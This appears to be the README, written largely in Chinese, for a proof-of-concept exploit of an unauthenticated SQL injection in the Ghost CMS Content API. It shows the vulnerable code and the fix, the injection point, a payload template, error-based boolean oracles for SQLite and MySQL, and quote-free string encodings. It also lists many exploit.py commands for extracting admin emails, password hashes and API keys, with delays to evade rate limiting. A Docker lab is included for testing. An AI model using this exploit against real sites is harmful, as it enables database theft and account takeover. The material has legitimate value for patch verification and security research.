受影响版本: Ghost 3.24.0 – 6.19.0
修复版本: Ghost 6.19.1
所需认证: 无——内容 API 密钥是公开的
影响: 未认证即可读取整个数据库(凭据、API 密钥)
slug-filter-order.js 将用户提供的 slug 值直接插值到原始 SQL ORDER BY 子句中,而不是使用参数化绑定。
// VULNERABLE — Ghost < 6.19.1
const slugList = slugs.map(s => `'${s}'`).join(',');
return `CASE WHEN ${table}.slug IN (${slugList}) THEN FIELD(...) ELSE ... END ASC`;
// ^^^^^^^^^^^ raw string interpolation
// FIXED — Ghost 6.19.1
knex.orderByRaw('CASE WHEN slug = ? THEN 0 ELSE 1 END', [slugValue]);
注入点:
GET /ghost/api/content/posts/?key=<content_api_key>&filter=slug:[<PAYLOAD>,<anchor>]
载荷模板:
slug:['||<SQL_EXPR>||',<anchor-slug>]
注入的表达式充当基于错误的布尔判定机制。
| 引擎 | TRUE | FALSE |
|---|---|---|
| SQLite | hex(randomblob(10^15)) → OOM → HTTP 500 | ELSE 0 → HTTP 200 |
| MySQL | THEN 0 → HTTP 200 | EXP(710) 溢出 → HTTP 500 |
NQL 约束——方括号内的 SQL 表达式不得包含单引号(')或逗号(,):
| 问题 | SQLite 解决方案 | MySQL 解决方案 |
|---|---|---|
字符串字面量 'content' | CHAR(99)||CHAR(111)||... | 0x636F6E74656E74 |
| 位置 N 处的字符 | 基于前缀的字符串比较 | ASCII(SUBSTR(x FROM N FOR 1)) |
在 SQLite 中
||是字符串连接符,在 MySQL 中则是逻辑或——字符串字面量必须针对不同引擎采用不同的编码方式。
python3 exploit/exploit.py --url URL --key KEY [--slug SLUG] [data flags] [options]
Required:
--url URL Ghost base URL (e.g. http://localhost:2368)
--key KEY Content API key
Optional:
--slug SLUG Anchor slug (auto-discovered from API if omitted)
--dbms {auto,sqlite,mysql} DB engine (default: auto-detect)
--delay N Seconds between requests — use to avoid HTTP 429 (default: 0)
--proxy URL HTTP proxy (e.g. http://127.0.0.1:8080) (default: none)
--validate-fix Test if the target is patched, then exit
Data flags (at least one required):
--email User email(s)
--hash User bcrypt hash(es)
--content-key Content API key(s)
--admin-key Admin API key(s)
--all Shorthand for --email --hash --content-key --admin-key
Modifier:
--all-records Extract ALL records for the selected flag(s) instead of first only
# Extract first admin email + hash (no proxy)
python3 exploit/exploit.py \
--url http://localhost:2368 \
--key <content_api_key> \
--email --hash --no-proxy
# Extract everything, first record each
python3 exploit/exploit.py \
--url http://localhost:2368 \
--key <content_api_key> \
--all --no-proxy
# Extract all Content API keys
python3 exploit/exploit.py \
--url http://localhost:2368 \
--key <content_api_key> \
--content-key --all-records
# Extract ALL records of ALL data types
python3 exploit/exploit.py \
--url http://localhost:2368 \
--key <content_api_key> \
--all --all-records
# Route through Burp proxy
python3 exploit/exploit.py \
--url http://localhost:2368 \
--key <content_api_key> \
--all --proxy http://127.0.0.1:8080
# Force MySQL engine, add delay to avoid rate limiting
python3 exploit/exploit.py \
--url http://target.com \
--key <content_api_key> \
--all --dbms mysql --delay 0.5
# Verify the patched version is not exploitable
python3 exploit/exploit.py \
--url http://localhost:2369 \
--key <content_api_key> \
--validate-fix
Ghost 默认会对内容 API 请求进行速率限制。可选方案:
--delay 0.5 在请求之间添加延迟API_RATE_LIMIT_ENABLED: "false" 并重启6.18.0 → 6.19.1 中的 slug-filter-order.js仅供参考——如果你已经有存在漏洞的 Ghost 实例,请跳过本节。
pip install requests 安装依赖ghost-cve-2026-26980/
├── mysql_docker-compose.yml # Ghost + MySQL 8.0
├── sqlite_docker-compose.yml # Ghost + SQLite (default)
├── mysql-init/
│ └── 01-init.sql # creates ghost_patch DB, grants access
├── vulnerable/
│ └── Dockerfile # Ghost 6.18.0
├── patched/
│ └── Dockerfile # Ghost 6.19.1
└── exploit/
└── exploit.py
两个 compose 文件分别暴露:
http://localhost:2368——存在漏洞(Ghost 6.18.0)http://localhost:2369——已修补(Ghost 6.19.1)docker compose -f sqlite_docker-compose.yml up -d
docker compose -f mysql_docker-compose.yml up -d
MySQL 凭据:host=localhost:3306 user=ghost password=ghostpass
数据库:ghost_vuln(端口 2368)/ ghost_patch(端口 2369)
等待约 60 秒让 Ghost 初始化,然后:
http://localhost:2368/ghost——创建管理员账户并至少发布一篇文章# SQLite
docker compose -f sqlite_docker-compose.yml down -v
docker compose -f sqlite_docker-compose.yml up -d
# MySQL
docker compose -f mysql_docker-compose.yml down -v
docker compose -f mysql_docker-compose.yml up -d